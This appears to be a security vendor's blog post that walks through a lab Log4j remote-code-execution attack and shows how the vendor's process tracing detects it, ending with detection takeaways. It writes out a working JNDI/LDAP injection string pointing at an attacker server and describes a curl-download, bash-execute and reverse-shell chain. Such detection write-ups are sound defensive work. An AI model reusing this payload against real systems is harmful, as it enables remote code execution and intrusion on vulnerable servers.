Weaponized Log4j Exploit In Action

Want to see Spyderbat in action?
Request a Demo Try Free Tier (Forever Free)

Exploit Details

The exploit is possible due to a vulnerability in the Log4j library, a codebase that is found in numerous java applications. At its core, some versions of the library have a flaw in input sanitization which allows a user to send commands to vulnerable systems and perform remote code execution. A common attack pattern is to use a Java Naming and Directory Interface (JNDI) lookup. JNDI is a Java API that allows software clients to discover and lookup data and resources in the form of Java objects via simply a name.(https://en.wikipedia.org/wiki/Java_Naming_and_Directory_Interface). The lookups are commonly used against an LDAP server.

log4jweaponized1

It's likely an organization logs unsuccessful authentication attempts. For Java applications, Log4j is a common way to do just that. However, this particular application is vulnerable to the exploit described above.

log4jweaponized2

In this instance, a malicious actor is attempting to perform remote code execution using this command: ${jndi:ldap://43.34.134.230:1389/Log4jRCE}.

● jndi:ldap - This initiates the JNDI lookup

● 43.34.134.230 - This is the IP address of a malicious LDAP server

● 1389 - The port that the server is being hosted on

● Log4jRCE - The malicious java object that will be returned by the lookup

 

What happens on the backend?

log4jweaponized3

The LDAP server (above) redirects the vulnerable Java application to an HTTP server hosting the Java object (below).

log4jweaponized4

The Log4jRCE.class is then retrieved and executed by the vulnerable application. Since the LDAP server and Java object are controlled by the attacker there are any number of ways this can be taken advantage of.

That is what it looks like for the attacker. How can the defender get the upper hand?

In the wake of the Log4j exploit, system administrators and security analysts everywhere are trying to understand the scope of the problem and if their machines have been affected. Everyone is no doubt receiving numerous alerts from their security applications flagging on the jdni:ldap string, but piecing together what happened and ensuring you’re in the clear can be extremely difficult.

With Spyderbat, we traced the attack as the exploit executes. Spyderbat automatically captures the processes and network connections with their causal relationships (e.g. process A initiates process B, etc). This will give us better insight into the exploit and how it impacts the system.

log4jweaponized5
 
The trace above indicates the causal relationships:
log4jweaponized6

This shows the HTTP request from the attacker’s external IP address, 43.34.134.230, to Vulnerable Webserver’s tomcat web application on port 8080.

log4jweaponized7

As we saw previously, the attacker completes the login form with the Log4j exploit string. The tomcat web application uses Log4j to log the attempt, which triggers a malicious outbound LDAP request. We see this here by the network connection out from Vulnerable Webserver to the External IP on port 1389. There may be multiple inbound and outbound connections on this server. This trace connects this specific inbound request to the outbound LDAP query.

log4jweaponized7.5

The LDAP query redirects Vulnerable Webserver to a java class, Log4jRCE.class which is hosted on the Attack Machine on port 8888. The trace follows the hecausal path to show the relationship of the outbound request on 8888 to the previous network connections.

log4jweaponized8

The tomcat web application then executes the Log4JRCE.class it received from the attacker’s server on 8888, which invokes some shell commands: a curl to download the script ‘shell.sh’, chmod to change its permissions, and bash to execute it.

log4jweaponized9

Looking at the details of the bash shell process, we see it executing the shell.sh script.

log4jweaponized10

log4jweaponized11

This image shows all the causally related activities from the shell.sh script running inside the bash shell.

  • A reverse shell outbound on ephemeral port 45838 connecting to a second attack machine at 65.56.165.199 on port 1337
  • Running several commands including ‘groups’, ‘whoami’, etc. Displaying details shows which directory was listed and which file was read.

The attacker uses the 'su' command to escalate privileges to the ‘ubuntu’ user. Previously the attacker was using the effective rights of the ‘tomcat’ user. But wait, how did the attacker get privileges to the ‘Ubuntu’ user? The key is in the details of the cat command.

log4jweaponized13

Takeaways:

  • If the Log4j exploit attempt was unsuccessful, we would not see the LDAP query and all additional malicious activity following it. This can help you avoid false positives from your security tools that only detect the initial exploit attempt.
  • It is unlikely to see commands like chmod, bash, curl from java. Searching for shell commands following java should help illuminate successful Log4j exploits.

Note: While Log4j is common to be used with a web application server, it can be used with other application types as well. Your security controls should not limit looking for the Log4j exploit to just your web applications. 

Resources used to create our exploit lab:

Want to see Spyderbat in action?
Request a Demo Try Free Tier (Forever Free)
Previous Cloud Native Runtime Security vs XDR
Detect Successful Log4J Attacks with Spyderbat Next